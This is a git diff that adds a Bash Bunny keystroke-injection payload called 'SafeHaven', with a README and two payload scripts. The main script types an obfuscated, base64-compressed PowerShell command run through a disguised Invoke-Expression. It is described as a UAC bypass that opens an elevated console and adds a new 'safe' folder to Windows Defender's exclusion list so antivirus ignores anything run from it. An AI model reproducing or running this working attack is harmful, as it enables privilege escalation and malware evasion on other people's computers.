diff --git a/payloads/library/execution/-BB-SafeHaven/README.md b/payloads/library/execution/-BB-SafeHaven/README.md new file mode 100644 index 00000000..de45d725 --- /dev/null +++ b/payloads/library/execution/-BB-SafeHaven/README.md @@ -0,0 +1,97 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Safe Haven + +A script used to open an elevated powershell console and created a folder ignored by the AntiVirus + +## Description + +This is a UAC bypass payload that will open an elevated powershell console + +Next a Directory called "safe" will be generated in your Documents Directory + +The "safe" directory will be added to the Window's Defender Exclusion list + +The AntiVirus will ignore all files downloaded to or ran from here + +## Getting Started + +### Dependencies + +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* A keystroke injection based payload will run + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

I am Jakoby

+


+ + + + + + + + + + + + + + + + + + + + Project Link: (https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-SafeHaven) +

+ + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + +

(back to top)

diff --git a/payloads/library/execution/-BB-SafeHaven/SafeHaven.txt b/payloads/library/execution/-BB-SafeHaven/SafeHaven.txt new file mode 100644 index 00000000..218b0a3d --- /dev/null +++ b/payloads/library/execution/-BB-SafeHaven/SafeHaven.txt @@ -0,0 +1,23 @@ +REM Title: Safe-Haven + +REM Author: I am Jakoby + +REM Description: This is a UAC bypass payload that will open an elevated powershell console +REM Next a Directory called "safe" will be generated in your Documents Directory +REM The "safe" directory will be added to the Window's Defender Exclusion list +REM The AntiVirus will ignore all files downloaded to or ran from here + +REM Target: Windows 10, 11 + +DELAY 500 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 1000 +STRING & ( $PShoME[21]+$psHOME[30]+'x')(NEw-objECt IO.COMpresSiON.DeflATESTrEAm([sYStEm.io.MeMOrySTreAm] [SYSTEM.CONVERT]::fROMBase64StRing('hZFPT8JAEMW/yqbxWiDqwYRweFvKtipiLRAhvdTusBj6L93qop/eXRKNXvCyyWTe+72Z2YvFXEy8tjHU6T2V5YCOxHzD9sx/aB7dU8fMD49UMP7R5lozn+qC3YIbiBASvMF0hFjhgHCFF8UvMW2wTvjS1SvFE8xiLA0XCA9Ygs8wM3gCf4eYQya8hzj5RojmeAb/dNyt4iWCGAvj+hpb8BZRjBg2JwI2idUL5focIrF99AhHKGDzrG6b8MpxC8cR19gYxwPuE5sfKVdrRLZvLFfcuPzkZx+r+7MfJhNv3JFiuZTMi+6CVZY2u97kHWVBaW9COhs0lcpSd8Fs0VKdFU1V5bX02FCyC3tjNtz9h6i0r6nvX2uls+CtW1N3cnsO7Tn/rpE2oKXOfdI47fOu99OSqGW+ZlcnvKSSejo7pPc9ynnt72lOli8=' ),[SYsTEM.io.cOmpressION.coMPRESsiOnmode]::DEcOMPRESS )| FoREACh-object{NEw-objECt SySTeM.Io.StreaMreadER( $_ ,[System.teXT.EnCoDINg]::ASCiI) }|foReaCh-objEct {$_.ReAdToEND()} );exit +ENTER + + + + diff --git a/payloads/library/execution/-BB-SafeHaven/payload.txt b/payloads/library/execution/-BB-SafeHaven/payload.txt new file mode 100644 index 00000000..3fbe0cb5 --- /dev/null +++ b/payloads/library/execution/-BB-SafeHaven/payload.txt @@ -0,0 +1,21 @@ +REM Title: UrAttaControl + +REM Author: I am Jakoby + +REM Description: This is a UAC bypass payload that will open an elevated powershell console and run any script. +REM Reaplce the URL down below with a link to a base64 encoded payload you have. See README.md for more details + +REM Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +LED STAGE1 +QUACK ${SWITCH_POSITION}/SafeHaven.txt +